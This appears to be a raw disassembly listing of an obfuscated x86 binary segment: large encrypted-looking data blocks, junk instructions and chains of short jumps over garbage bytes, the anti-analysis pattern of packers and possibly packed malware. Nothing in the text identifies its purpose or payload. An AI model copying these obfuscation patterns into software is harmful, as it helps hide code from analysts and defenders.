		dd 0A3ED3B08h, 0BF1E8DF4h, 803F09AFh, 6488AF36h, 5B7981EAh
		dd 0F82E271Bh, 935F7D86h, 0FC1FD9E0h, 0D8B9AC50h, 0BCF4A162h
		dd 0DB133219h, 0F9996B43h, 33FDAD7Fh, 0D815A706h, 4FE6710Eh
		dd 0A4890A2Bh, 6D1A997Ch, 0C1987D76h, 0A9BD2429h, 0F4F439DBh
		dd 0C8428EB2h, 0CCF944EAh, 39BF102h, 271926B3h,	2FE8B039h
		dd 71EC4D33h, 0BC864F0Ah, 0BDDC489h, 6F74E25Eh,	0A4AD9BB8h
		dd 0F2F9E531h, 0AAFCBD0Fh, 0C62C2B01h, 4B30AD45h, 0D6F37E35h
		dd 0F0DB8BAEh, 0A476B105h, 78D23D6Eh, 3D25E31h,	59735029h
		dd 843F7974h, 0BD4BD118h, 0B9EAE3C7h, 40FDA3A8h, 90B3349Eh
		dd 7EF87487h, 5177E849h, 4FF4B09Fh, 6AAB2AF4h, 1420ABC6h
		dd 0F984B365h, 67201234h, 907B94BEh, 41F799BBh,	7FF229B3h
		dd 3365A779h, 773B2A79h, 0D0F27BE7h, 53A2390Fh,	0AE26E0A6h
		dd 220F3A8Ah, 469FB912h, 0AAA018DCh, 0F442A76Bh, 1980549Fh
		dd 37E563C2h, 0B3B4C4EAh, 0CC36BDBCh, 961E1C57h, 0E636B802h
		dd 0E673353Ah, 1337756Eh, 7F59557Ah, 8CF42977h,	0B71FA9D8h
		dd 9F40A4EAh, 0DCE6586Ah, 5ABFA2F3h, 0A7D5EF4Dh, 0B1971811h
		dd 4B65A4BCh, 70556AFFh, 6DE3A487h, 0C14A2B40h,	0B56B8289h
		dd 370CB74Dh, 5D9F71FEh, 3AF55200h, 775DFDDEh, 7E6FC2FAh
		dd 4D47B980h, 0CC8E0A4h, 72AD850Ah, 0A7DE9603h,	0DD9E0DCDh
		dd 0FBDE6AFDh, 0FBDB44DBh, 0EFC48FB0h, 0C551D5DBh, 556FE1BBh
		dd 0EB7CD675h, 634E6F25h, 1E563952h, 5E37521Ah,	1C477F7Ah
		dd 20AA73E9h, 740BA2FFh, 8A22A2DAh, 821DF8E2h, 4ADEF289h
		dd 2DE28A6Dh, 0B31E7833h, 33F138D5h, 1D3D0AB2h,	0DF3A3C55h
		dd 4CA5D66Eh, 0F247D45Ch, 7CFD52CCh, 5F1B992Ch,	5D7FAB98h
		dd 0EA1CCC6Bh, 0E54CBA29h, 566299D6h, 0B3F812Bh, 8FBA2A49h
		dd 7F83B8A4h, 7AE91BF4h, 98D1DC9Ah, 2DC13152h, 878EFE9Fh
		dd 0F318F3h, 0D6569144h, 0A6E5F614h, 49D3FFB4h,	0A1A89182h
		dd 0D0466317h, 0F0EC1BE1h, 8C5F6553h, 20550275h, 45127C48h
		dd 419F536Bh, 0A241EBEh, 21CA166Fh, 0F2CA7CC0h,	332FF2Dh
		dd 869D859Dh, 475CC261h, 826AF96Dh, 801B3967h, 60AB5B3Ch
		dd 4E36F818h, 0EBFEB905h, 3FDDCA4Ch, 0DB1D68C8h, 9E923E84h
		dd 7250C60Eh, 0C786E17Bh, 4DAEB18h, 4EAE60CAh, 350A0D5Dh
		dd 816F0ACFh, 1117B36Dh, 842B3C36h, 1A8E7BADh, 1D1D6132h
		dd 0EBEB84F6h, 0B6F555C1h, 908F7834h, 3FB17763h, 13947E4Dh
		dd 0E9BF5943h, 0D94A2B0Ch
		dd 59C1F488h, 4A71A669h, 3409C36Fh, 0B17C0705h,	3B33C0CFh
		dd 0D5FBEF1Eh, 6F156862h, 0C5BBA20Dh, 5F7ACCDBh, 381E5769h
		dd 93379523h, 9C34AD12h, 0F16D33D0h, 0E3393747h, 0B71091BAh
		dd 0A120E061h, 0A0460867h, 0CA186FBFh, 71710C17h, 0B91D052Eh
		dd 0D466C76Ah, 4B6F787h, 1136724Fh, 0A9A60A2Eh,	0E19D4178h
		dd 9B83888Eh, 0E5CAA1E1h, 0A23E2964h, 26F69ADAh, 81E11B60h
		dd 0A7954B66h, 6B7AE5BDh, 257E2D3h, 0EEA713F4h,	0DE610CAAh
		dd 64FB38C6h, 2CA06022h, 0DD473AACh, 0A48F6B65h, 9C8449AAh
		dd 67FA6C6Ch, 252F4ECDh, 0E54E82CBh, 93C3ACB7h,	0A66CE77Fh
		dd 55483067h, 0C38357FAh, 40A23F49h, 0BC9DCDDCh, 0EBB9301h
		dd 8424A938h, 9B8CBC22h, 46379362h, 7BA9D528h, 0A51CA1E7h
		dd 63E716D4h, 0EBB468B8h, 6734CF2Ch, 597D5C17h,	0F2C7A984h
		dd 695B2C32h, 0B017DBE7h, 12A070ADh, 5541A41Eh,	7B9001FFh
		dd 0F5C59FBh, 7050DAE8h, 27E344FBh, 0BD555B2Dh,	0F6141427h
		dd 30FC4251h, 0EABAD387h, 0B4A6F7E5h, 0E06CE52h, 9CF6226h
		dd 0F91F32A1h, 0E7C3F4Eh, 9A21F08h, 4BCD986Bh, 0B556BC70h
		dd 2A254F5Ch, 8232F474h, 147C03EAh, 0A9519844h,	0B2030CC9h
		dd 0E47222BCh, 0DA4A231Fh, 296A1C30h, 0BAFE9DE0h, 0D59A3997h
		dd 0A7EC4E3Eh, 270E2B8Eh, 0A2447EA1h, 0C0591BABh, 0F202C1ABh
		dd 179F2470h, 0AE8BE1BCh, 0E78EA501h, 0B1DE1791h, 0A87697DFh
		dd 91D2502Dh, 8EFCE1h, 0DA74284Ch, 0EB3FDCh, 72F45956h
		dd 0DEABFF44h, 0CDE9C1D8h, 22CC971Bh, 0D4DD97B0h, 50DA024Dh
		dd 73859FB6h, 7268ADC1h, 5174B676h, 953AD096h, 4AF0D470h
		dd 4ED4DDB3h, 0C54A736Ah, 83EF154Fh, 58EC716Fh,	751FE34Dh
		dd 0EB11BC07h, 0C249A52Eh, 9F595D70h, 9A1CD892h, 0E747A1EAh
		dd 0D8262FAEh, 37E126DEh, 3F409D5Eh, 7D5FB1FEh,	0A2AFB4CBh
		dd 0D5D1F264h, 0B3873328h, 0F2BF3F91h, 69DCA439h, 0DFF56E87h
		dd 0DDF01B1Dh, 0C3F822C2h, 9EE5E3FAh, 7FDF62E6h, 0CC00B67Eh
		dd 5D9BDCC9h, 7B0608CEh, 4553B851h, 1CA41D0Ah, 921A7933h
		dd 0FC9A871Eh, 94DB5BD0h, 8B8D144Fh, 6173C1FEh,	0AFA8AD1Eh
; ---------------------------------------------------------------------------
		or	edi, [eax]


loc_4286EE:				; CODE XREF: DMN0:00429506j
		pop	esi
		imul	byte ptr [esi+13B82AF1h]
		mov	ecx, 43641D8Ah
		xor	[eax-65775BF9h], edx
		and	eax, 2BC73838h
		fstp	tbyte ptr [edi]
		sbb	al, 0A3h
		in	eax, dx
		xchg	bh, cl
		or	al, 2Ah
		lds	edi, [ebp+60h]
		mov	al, 28h
		outsb
		out	0DAh, eax
		in	al, 51h
		dec	esp
		inc	edx
		add	ch, [edi]
		cmp	eax, 3D5B755Dh
		push	ss
		call	far ptr	2C82h:596ABD5Fh
		pop	es
		pop	es
		cmp	[ebp+64h], eax
		cmp	ch, [ecx+7Eh]
		into
		jmp	far ptr	1613h:5B79E71Bh
; ---------------------------------------------------------------------------
		db 60h,	63h, 0ABh
; ---------------------------------------------------------------------------
		inc	ecx
		js	short loc_42878C
		imul	ebx, [eax-7Dh],	77451524h
		or	eax, 95F5821Dh
		les	edx, [esi]
		stosb
		xor	[edx+63A5349Ah], dl
		sub	edx, ebp
		stosd
		or	bh, al
		retf	0FFBh
; ---------------------------------------------------------------------------
		dd 33E1388h, 0D1A737BEh, 86799D46h, 73E22EB2h, 2EAD800Fh
		dd 44F82201h, 0CF7A0239h, 57B7198Eh, 0F624CFF3h, 48BA64F8h
		dd 1EE21234h, 0C29FF359h
; ---------------------------------------------------------------------------


loc_42878C:				; CODE XREF: DMN0:0042873Dj
		xchg	dh, [ebp+4Eh]
		mov	ds:85F666CCh, al
		and	al, 30h
		inc	edi
		mov	edx, 200EF2B2h
		cmp	al, 3Ah
		in	al, dx
		and	byte ptr [edi-46h], 1Ah
		mov	es, word ptr [ecx]
		rcr	dword ptr [eax], 82h
		inc	esp
		int	3		; Trap to Debugger
		and	bl, [eax+2FACACEDh]
		lahf
		adc	al, 4Dh
		loope	loc_4287C9
		mov	ecx, 4DD7FE8Fh
		popa
		pop	es
		retf
; ---------------------------------------------------------------------------
		sub	eax, 0A8C15611h
		retf
; ---------------------------------------------------------------------------
		db 0E9h
		dd 1608746Eh
		db 0E8h
; ---------------------------------------------------------------------------


loc_4287C9:				; CODE XREF: DMN0:004287B3j
		fisubr	dword ptr [eax+esi*8+49CCC2E7h]
		sahf
		inc	ebx
		aam	0B9h
		add	eax, 59FF3436h
		xchg	eax, ecx
		pusha
		js	short loc_4287E9
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2E3D822Ah, 655799E2h
		db 0C2h
; ---------------------------------------------------------------------------


loc_4287E9:				; CODE XREF: DMN0:004287DBj
		call	near ptr 3E5BA997h
		mov	cl, 53h
		pop	esi
		mov	[esi+esi], ebp
; ---------------------------------------------------------------------------
		dd 3CE04C8Fh, 0D0C83C3Bh, 83050B45h, 401EAA7Dh,	2D1FA6B3h
		dd 200386EDh, 9B69AE9h,	1C6D9275h, 8A039239h, 3863BC4Ch
		dd 77238A47h, 434B49D9h, 72ADF523h, 0B16ED510h,	6D523449h
		dd 8A45BD09h, 1674FB3Dh, 0A35A3BD0h, 2D8D6845h,	0E13740DBh
		dd 0A9819849h, 73C1FC52h, 9E097F2Eh, 0DCE52483h, 1CFA99AAh
		dd 985C64FBh, 0CCBCBFA8h, 8E187431h, 39F83C16h,	0DBFA9124h
		dd 82586BA8h, 0F9F29DAh, 0C82C557h, 7A49B8ABh, 0A6847660h
		dd 8B7049E4h, 27929B95h, 1109E2E9h, 5725F19Bh, 0AC4EC7A1h
		dd 3B2C738h, 117BC4A3h,	173553DCh, 87164878h, 0E021A6B3h
		dd 5A898B4Ah, 0A053891Ch, 403019C1h, 0DB470750h, 2E3EA0E5h
		dd 25B8909Bh, 0FFB3D922h, 812D6386h, 0FE6C2ABCh, 9C635E34h
		dd 0AB721846h, 0D2C08D28h, 8437534h, 287D081Ch,	481FC4B1h
		dd 5788BCD8h, 41A6B126h, 0B605DE76h, 9B92D885h,	6414AF71h
		dd 0F34F7444h, 25B4B971h, 7372CF61h, 17DB214Dh,	8A2A5157h
		dd 240E24CDh, 3B00102Bh, 11D968DCh, 3926F538h, 2E5E0797h
		dd 0B79E4591h, 96DC81C9h, 6060916Fh, 46B0EEA0h,	6A513F96h
		dd 0AA2C1F7Dh, 0EB704EBCh, 4F3943F9h, 840A3957h, 4D9F518Eh
		dd 873E610h, 0A5508E6Ch, 0E5132F60h, 3AC45477h,	0B59FE585h
		dd 0EC86012Fh, 31411A62h, 1189FF19h, 0D80E5098h, 0F432FF7h
		dd 0C9EB3B10h, 21035AAFh, 5CA45EAFh, 1AB2E631h,	0F6A5E85Ah
		dd 49226B61h, 0BEE2F560h, 0B93D00A1h, 0D03D7B1Ch, 0BB46DA1Ah
		dd 0F7C246C2h, 7E374065h, 10CCEE35h, 5425445Ch,	63C9E57Fh
		dd 35EBDE53h, 0E1F02023h, 30D81020h, 0F8AEF88Ah, 460E960Ch
		dd 2D8AC6FFh, 208E7A5Ch, 36BF2148h, 0EC38EC7Bh,	66A26122h
		dd 80178253h, 5331974Bh, 11F8C880h, 7018B9E6h, 54E1B1B7h
		dd 42ECC43Eh, 0B5F5325Bh, 0CF55C69Dh, 3BA51E85h, 6BA6CE14h
		dd 8BD4E974h, 0FE13CD64h, 9E121846h, 892301C6h,	8D8CD055h
		dd 0EFBAF739h, 8880E2FDh, 2D12E030h, 0EC156C94h, 0DC60095Ch
		dd 59CC2297h, 13B6A1Ah,	40586952h, 9DF95976h, 0E563DA45h
		dd 0DE241169h, 8E280F05h, 539FE4EDh, 63AD3378h,	0A6A33CF7h
		dd 0D8C8672Ah, 5197ECCAh, 26F6129Bh, 262DFD45h,	39C4E493h
		dd 2B3C0512h, 0FB36B62Bh, 9653172Eh, 6416CCEDh,	2B6A4C2Bh
		dd 0B735CC57h, 28BE74A7h, 62B82A4Fh, 9F8487EBh,	43D3AF84h
		dd 0E95C19B2h, 7FF3F01Dh, 0FCF11200h, 47D1BA1Eh, 8BF13BE1h
		dd 0A9062524h, 2A80409Ah, 0DDF4C784h, 144810ECh, 2F6B545Fh
		dd 1CDFAB0h, 2846CDFDh,	6948C8B1h, 0B9E3B651h, 54078061h
		dd 9B741BEDh, 2465D4Ah,	0A254347h, 94F39BB1h, 0E548CFFEh
		dd 8B2208A6h, 1F27DD21h, 37A5A98Fh, 0E0C38E8Eh,	0C04B51E6h
		dd 437C4ABCh, 0F9ECB94Ah, 85519E64h, 6182AE76h,	0C4A65B83h
		dd 0D8C3D92Ch, 0B37CE9A5h, 8AD2FD1Fh, 568779CAh, 7E77364h
		dd 0CCA0F273h, 4E24BE18h, 52022E37h, 601AACF3h,	225AB4A6h
		dd 2C90FFDAh, 7624C4Ah,	0A35D8873h, 0A1CF4598h,	586CA010h
		dd 0E65AE722h, 87F694F2h, 14C11D45h, 0E167E497h, 1848E749h
		dd 6B7BDD03h, 1AA11CCDh, 0C6B13AD8h, 7DD18963h,	4A5172E5h
		dd 2C3BD2E9h, 1A67907Ch, 2FE47EB1h, 37EC8A3Eh, 0E83402EDh
		dd 52C9BF57h, 0E4A91615h, 415020C1h, 0E8954D89h, 5AA732C4h
		dd 483B3A19h, 0E3520885h, 334E825Bh, 46D14EDAh
; ---------------------------------------------------------------------------
		push	24h
		push	ebp
		mov	ebp, esp
		mov	eax, [esp+8]
		mov	ebp, eax
		pusha
		mov	eax, 46806E18h
		push	eax
		jmp	short loc_428BB5
; ---------------------------------------------------------------------------
		dd 78B5B78Eh
		db 0E6h
; ---------------------------------------------------------------------------


loc_428BB5:				; CODE XREF: DMN0:00428BAEj
		jmp	short loc_428BCE
; ---------------------------------------------------------------------------
		adc	[edx], eax
		and	esi, esi
		enter	7C96h, 6Bh
		dec	edx
		xchg	eax, esi
		rol	dword ptr [esi+79EED5B4h], 0CEh
		fstp	tbyte ptr [eax+4Fh]
		cmpsb
		mov	dh, 9Ah


loc_428BCE:				; CODE XREF: DMN0:loc_428BB5j
		std
		or	edx, 0FFFFFFFFh
		jmp	short loc_428BEF
; ---------------------------------------------------------------------------
		dd 0BF5A5489h, 0BE1D218Ch, 489C2BF4h, 0C26E8436h, 0BE55FFA0h
		dd 0EF005651h
		db 62h,	82h, 45h
; ---------------------------------------------------------------------------


loc_428BEF:				; CODE XREF: DMN0:00428BD2j
		dec	esi
		jmp	short loc_428BF7
; ---------------------------------------------------------------------------
		dw 5B94h
		db 81h,	0DEh, 7Ch
; ---------------------------------------------------------------------------


loc_428BF7:				; CODE XREF: DMN0:00428BF0j
		jmp	short loc_428C17
; ---------------------------------------------------------------------------
		align 2
		dw 23A5h
		db 90h
		db 20h,	0D6h, 58h
		dd 61407B61h, 0E0E3A30Ah, 0B3D8C45h, 0F0FE0522h, 8805D8B3h
		db 51h,	21h, 41h
; ---------------------------------------------------------------------------


loc_428C17:				; CODE XREF: DMN0:loc_428BF7j
		jmp	short loc_428C33
; ---------------------------------------------------------------------------
		db 55h,	73h, 8Bh
		dd 7B25B6FBh, 435F91Ah,	4A6CFE52h, 13FDDEB1h, 36F06051h
; ---------------------------------------------------------------------------
		movsb
		dec	edx
		cmpsb


loc_428C33:				; CODE XREF: DMN0:loc_428C17j
		jmp	short loc_428C4A
; ---------------------------------------------------------------------------
		sti
		retf
; ---------------------------------------------------------------------------
		db 16h
		dd 85740CF6h, 21F1850Fh, 2D7C57E9h, 0A2C3E98h
; ---------------------------------------------------------------------------
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_428C4A:				; CODE XREF: DMN0:loc_428C33j
		inc	edx
		jmp	short loc_428C51
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 9D33h
		db 8Dh
; ---------------------------------------------------------------------------


loc_428C51:				; CODE XREF: DMN0:00428C4Bj
		test	ebx, 2E1E3D33h
		jmp	short loc_428C77
; ---------------------------------------------------------------------------
		db 0EFh, 39h, 6Bh
		dd 0C27C94DBh, 0DCBB8399h, 0A41B103Bh, 0AAE58CA4h, 536CCCAAh
		dd 9E596538h
		db 6Eh,	0F6h, 0C6h
; ---------------------------------------------------------------------------


loc_428C77:				; CODE XREF: DMN0:00428C57j
		xchg	edi, edi
		jmp	short loc_428C8C
; ---------------------------------------------------------------------------
		db 0A2h
		dd 0DBAD57EDh, 0F0BB735Ch, 39585DA7h, 0B701F0E9h
; ---------------------------------------------------------------------------


loc_428C8C:				; CODE XREF: DMN0:00428C79j
		jmp	short loc_428CA7
; ---------------------------------------------------------------------------
		dw 0DE84h
		dd 9DEA49ACh, 86B54412h, 0EA0E4948h, 76FF1DFDh,	9F786F20h
		db 75h,	5Ah, 0C1h
; ---------------------------------------------------------------------------


loc_428CA7:				; CODE XREF: DMN0:loc_428C8Cj
		bswap	ebx
		jmp	short loc_428CBB
; ---------------------------------------------------------------------------
		db 82h
		dd 0D357BD11h, 3C5EC9E6h, 9BAC1824h
		db 9Ch,	0C9h, 0D9h
; ---------------------------------------------------------------------------


loc_428CBB:				; CODE XREF: DMN0:00428CA9j
		xchg	edi, edx
		xchg	eax, ebp
		jmp	short loc_428CC3
; ---------------------------------------------------------------------------
		align 2
		db 29h
; ---------------------------------------------------------------------------


loc_428CC3:				; CODE XREF: DMN0:00428CBFj
		jmp	short loc_428CD2
; ---------------------------------------------------------------------------
		db 8Ch,	0DEh, 0D6h
		dd 0E9D29437h, 13530CB6h
; ---------------------------------------------------------------------------
		sbb	cl, [ecx]


loc_428CD2:				; CODE XREF: DMN0:loc_428CC3j
		jmp	short loc_428CE1
; ---------------------------------------------------------------------------
		dd 33145A3Dh, 0CFEA2709h, 7EFFC111h
; ---------------------------------------------------------------------------
		pop	esp


loc_428CE1:				; CODE XREF: DMN0:loc_428CD2j
		test	ebx, 8F578930h
		add	edi, 31000h
		cld
		xchg	ebx, ebp
		jmp	short loc_428D0D
; ---------------------------------------------------------------------------
		dw 6373h
		dd 2059C328h, 67A39815h, 0DBA36744h, 51331F2Ch,	4912F2F0h
		dd 0D39B506Ah
; ---------------------------------------------------------------------------
		cli


loc_428D0D:				; CODE XREF: DMN0:00428CF0j
		test	edx, 10FDA7DFh
		jmp	short loc_428D31
; ---------------------------------------------------------------------------
		push	esi
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------
		dd 69D8B712h, 2BF69A9Bh, 345F8683h, 0D7B34323h,	4D799C9h
		dd 0E6BB0183h
; ---------------------------------------------------------------------------
		cdq


loc_428D31:				; CODE XREF: DMN0:00428D13j
		or	ecx, 0FFFFFFFFh
		cmc
		stc
		jmp	short loc_428D52
; ---------------------------------------------------------------------------
		dd 63F47420h, 7CC645B8h, 32D2D7A6h, 0A584A4EBh,	0FD85DA4Bh
		dd 7FBB69A6h
		db 2Eh,	3Fh
; ---------------------------------------------------------------------------


loc_428D52:				; CODE XREF: DMN0:00428D36j
		test	ebp, 237A3A12h
		jmp	short $+2
		jmp	short loc_428D74
; ---------------------------------------------------------------------------
		dd 0DC663733h, 6B565267h, 0C4F2E906h, 0D77B4326h, 85633769h
		dd 0E145F586h
; ---------------------------------------------------------------------------


loc_428D74:				; CODE XREF: DMN0:00428D5Aj
		inc	ecx
		jmp	short loc_428D8B
; ---------------------------------------------------------------------------
		db 55h
		dd 3DDEE21Fh, 94E1B221h, 1C194416h, 0A66E440Dh
		db 8, 74h, 2Ch
; ---------------------------------------------------------------------------


loc_428D8B:				; CODE XREF: DMN0:00428D75j
		jmp	short loc_428D9A
; ---------------------------------------------------------------------------
		db 0DBh, 61h, 4Ch
		dd 4B0672E4h, 0C7F139E6h
; ---------------------------------------------------------------------------
		push	esi


loc_428D9A:				; CODE XREF: DMN0:loc_428D8Bj
		jmp	short loc_428DBB
; ---------------------------------------------------------------------------
		dd 50483EFEh, 0F1765CA6h, 9F9A95FAh, 0E72662A0h, 394DF86Eh
		dd 0E5348228h, 0E87B476h
		db 93h,	77h, 0B1h
; ---------------------------------------------------------------------------


loc_428DBB:				; CODE XREF: DMN0:loc_428D9Aj
		xchg	esp, ebp
		jmp	short loc_428DCC
; ---------------------------------------------------------------------------
		db 0Eh
		dd 0A44125DCh, 522C0170h, 0C76EA79Bh
; ---------------------------------------------------------------------------


loc_428DCC:				; CODE XREF: DMN0:00428DBDj
		jmp	short loc_428DD9
; ---------------------------------------------------------------------------
		dw 7827h
		dd 4912FA49h, 0EC69AD13h
		db 0DDh
; ---------------------------------------------------------------------------


loc_428DD9:				; CODE XREF: DMN0:loc_428DCCj
		jmp	short loc_428DDD
; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------
		scasb


loc_428DDD:				; CODE XREF: DMN0:loc_428DD9j
		add	ecx, 514Bh


loc_428DE3:				; CODE XREF: DMN0:00429392j
		jmp	short loc_428DF4
; ---------------------------------------------------------------------------
		test	byte ptr [eax+565DA39Fh], 0CAh
		xor	dl, [ecx+54h]
		mov	ecx, 341A00DCh


loc_428DF4:				; CODE XREF: DMN0:loc_428DE3j
		jmp	short loc_428E02
; ---------------------------------------------------------------------------
		dw 0CC0Dh
		dd 0DFDEF10h, 0D9F03FE0h
		db 0Ah,	81h
; ---------------------------------------------------------------------------


loc_428E02:				; CODE XREF: DMN0:loc_428DF4j
		neg	ebx
		not	esi
		jmp	short loc_428E0D
; ---------------------------------------------------------------------------
		dd 9BDB8082h
; ---------------------------------------------------------------------------
		aaa


loc_428E0D:				; CODE XREF: DMN0:00428E06j
		xchg	ebx, esp
		neg	edx
		bswap	esi
		xchg	ebx, edx
		jmp	short loc_428E21
; ---------------------------------------------------------------------------
		db 17h
		dd 88E6EC1Fh, 9CCC8F48h
		db 20h
; ---------------------------------------------------------------------------


loc_428E21:				; CODE XREF: DMN0:00428E15j
		jmp	short loc_428E29
; ---------------------------------------------------------------------------
		db 0B6h
		dd 4B937288h
		db 0
; ---------------------------------------------------------------------------


loc_428E29:				; CODE XREF: DMN0:loc_428E21j
		bswap	esi
		bswap	esi
		jmp	short loc_428E3C
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------
		movsd
		xchg	eax, esi
		and	al, 0
		dec	esi
		push	edx
		icebp
		clc
		dec	eax
		push	es
		movsd
		push	ss


loc_428E3C:				; CODE XREF: DMN0:00428E2Dj
		jmp	short $+2
		jmp	short loc_428E56
; ---------------------------------------------------------------------------
		popf
		scasd
		push	0CE5DD9B4h
		mov	bl, 26h
		cmp	bl, [ecx+ebp*8+4CB0BCB9h]
		rcr	ebx, 82h
		leave
		and	edi, esp


loc_428E56:				; CODE XREF: DMN0:00428E3Ej
		cld
		jmp	short loc_428E5F
; ---------------------------------------------------------------------------
		xchg	eax, esp
		test	eax, 1275BDA5h


loc_428E5F:				; CODE XREF: DMN0:00428E57j
		jmp	short loc_428E64
; ---------------------------------------------------------------------------
		db 76h,	16h, 71h
; ---------------------------------------------------------------------------


loc_428E64:				; CODE XREF: DMN0:loc_428E5Fj
		mov	edx, eax
		jmp	short loc_428E72
; ---------------------------------------------------------------------------
		dd 0A174007h, 794FC58Ah
		db 2 dup(20h)
; ---------------------------------------------------------------------------


loc_428E72:				; CODE XREF: DMN0:00428E66j
		jmp	short loc_428E8C
; ---------------------------------------------------------------------------
		dd 0D1603E9Eh, 1E613113h, 0E4AC42DBh, 0C4BD55Ah, 275ECBA1h
		dd 16F80DBFh
; ---------------------------------------------------------------------------


loc_428E8C:				; CODE XREF: DMN0:loc_428E72j
		cmc
		xchg	ebx, ecx
		add	edx, edi
		jmp	short loc_428E9E
; ---------------------------------------------------------------------------
		db 65h
		dd 83A87349h, 0FEDD7455h
; ---------------------------------------------------------------------------
		push	eax
		push	ss


loc_428E9E:				; CODE XREF: DMN0:00428E91j
		xor	ecx, 2CA099FDh
		jmp	short loc_428EA9
; ---------------------------------------------------------------------------
		dw 2AD0h
		db 8Ah
; ---------------------------------------------------------------------------


loc_428EA9:				; CODE XREF: DMN0:00428EA4j
		xchg	ebp, edi
		jmp	short loc_428EC4
; ---------------------------------------------------------------------------
		db 6Eh,	46h, 38h
; ---------------------------------------------------------------------------
		test	bh, bh
		retn	0AD10h
; ---------------------------------------------------------------------------
		db 0F0h, 8Ah, 7Fh
		dd 0A6A00023h, 2B3220DDh, 45FFD1A6h
; ---------------------------------------------------------------------------


loc_428EC4:				; CODE XREF: DMN0:00428EABj
		jmp	short loc_428EDA
; ---------------------------------------------------------------------------
		dw 3910h
		dd 0C0E6DFDCh, 596C5B6Fh, 4B06F65Ch, 0D8D7D47Fh
		db 2Fh,	18h
; ---------------------------------------------------------------------------


loc_428EDA:				; CODE XREF: DMN0:loc_428EC4j
		jmp	short loc_428EE6
; ---------------------------------------------------------------------------
		push	0C87F39F8h
		mov	edx, 0DD1620Bh


loc_428EE6:				; CODE XREF: DMN0:loc_428EDAj
		bswap	esi
		clc
		xchg	ebp, ebp
		jmp	short loc_428F0B
; ---------------------------------------------------------------------------
		db 0ECh, 2Bh, 1Ch
		dd 0FDB245C6h, 9AF20E1Fh, 0AE49761Bh, 0E464A00Bh, 35DAB48Eh
		dd 98D286A2h
		db 12h,	7Ch, 0D9h
; ---------------------------------------------------------------------------


loc_428F0B:				; CODE XREF: DMN0:00428EEBj
		jmp	short loc_428F28
; ---------------------------------------------------------------------------
		db 6Eh,	8Bh, 3
; ---------------------------------------------------------------------------
		cmp	eax, 59AC1BDFh
		mov	eax, 2DBD8362h
		cwde
		mov	ebp, 0ACCDE1A0h
		mov	dword ptr [ebp-42h], 3D645F25h
		scasb


loc_428F28:				; CODE XREF: DMN0:loc_428F0Bj
		mov	esp, [edx]
		jmp	short loc_428F34
; ---------------------------------------------------------------------------
		dd 0F8D05212h, 0B0749434h
; ---------------------------------------------------------------------------


loc_428F34:				; CODE XREF: DMN0:00428F2Aj
		dec	esi
		stc
		jmp	short loc_428F3B
; ---------------------------------------------------------------------------
		db 0F6h, 98h, 36h
; ---------------------------------------------------------------------------


loc_428F3B:				; CODE XREF: DMN0:00428F36j
		jmp	short loc_428F52
; ---------------------------------------------------------------------------
		db 55h,	0E5h, 36h
		dd 69C924E2h, 45553D69h, 0EF40D974h, 10173FDCh
; ---------------------------------------------------------------------------
		sub	al, 78h


loc_428F52:				; CODE XREF: DMN0:loc_428F3Bj
		add	ecx, 1263C87Ah
		xor	esp, [edi]
		jmp	short loc_428F76
; ---------------------------------------------------------------------------
		dd 8ECD2465h, 0FC7D34CCh, 11A383E5h, 2E3016DBh,	9D3D7695h
		dd 0DF05399Ch
; ---------------------------------------------------------------------------
		fldcw	word ptr [ebx]


loc_428F76:				; CODE XREF: DMN0:00428F5Aj
		jmp	short loc_428F82
; ---------------------------------------------------------------------------
		dd 8A2FA587h, 0CDBEF098h
		db 5Eh,	0CAh
; ---------------------------------------------------------------------------


loc_428F82:				; CODE XREF: DMN0:loc_428F76j
		xchg	ebp, edx
		jmp	short loc_428F95
; ---------------------------------------------------------------------------
		dw 0EC5Fh
		dd 97B4132Fh, 792BAEAEh, 54692FB5h
		db 0B2h
; ---------------------------------------------------------------------------


loc_428F95:				; CODE XREF: DMN0:00428F84j
		jmp	short loc_428F98
; ---------------------------------------------------------------------------
		db 0B3h
; ---------------------------------------------------------------------------


loc_428F98:				; CODE XREF: DMN0:loc_428F95j
		xchg	esp, [edi]
		jmp	short loc_428FAE
; ---------------------------------------------------------------------------
		dd 74258A5Eh, 0DB300B3Ah, 0E0D1B867h, 0E408C794h
; ---------------------------------------------------------------------------
		add	esp, esi


loc_428FAE:				; CODE XREF: DMN0:00428F9Aj
		jmp	short loc_428FC6
; ---------------------------------------------------------------------------
		dd 0B2414103h, 0A933A5Ch, 0E4D3A9BEh, 2E04A463h, 0D842FD7Eh
; ---------------------------------------------------------------------------
		sbb	ah, dl


loc_428FC6:				; CODE XREF: DMN0:loc_428FAEj
		jmp	short loc_428FE6
; ---------------------------------------------------------------------------
		dd 0DDA50ECh, 0D528ADC4h, 0EDF06DABh, 0A202AF6Bh, 64C96025h
		dd 0B739EB2Ah, 90D4E907h
; ---------------------------------------------------------------------------
		push	ebp
		pop	eax


loc_428FE6:				; CODE XREF: DMN0:loc_428FC6j
		jmp	short loc_428FF1
; ---------------------------------------------------------------------------
		dd 0D11D76EEh, 0A0D5FE12h
		db 0F3h
; ---------------------------------------------------------------------------


loc_428FF1:				; CODE XREF: DMN0:loc_428FE6j
		jmp	short $+2
		xchg	ebx, esp
		jmp	short loc_42900D
; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		mov	byte ptr [eax+308F3E84h], 0F7h
		add	al, 29h
		xor	eax, 0FFFFFFDEh
		push	ss
		db	3Eh
		xchg	eax, esi
		retf	702Ah
; ---------------------------------------------------------------------------
		mov	bl, 63h
		inc	esi


loc_42900D:				; CODE XREF: DMN0:00428FF5j
		clc
		jmp	short loc_429020
; ---------------------------------------------------------------------------
		dd 86C8143Dh, 792ED9A7h, 87231FDEh, 0C97CCB00h
; ---------------------------------------------------------------------------


loc_429020:				; CODE XREF: DMN0:0042900Ej
		rcl	esi, 20h
		jmp	short loc_429033
; ---------------------------------------------------------------------------
		db 0FEh, 0B9h, 0E9h
		dd 0BC9A55CEh, 0DDB167B1h
		db 82h,	7Dh, 14h
; ---------------------------------------------------------------------------


loc_429033:				; CODE XREF: DMN0:00429023j
		add	ebp, 483F126Fh
		clc
		jmp	short loc_429050
; ---------------------------------------------------------------------------
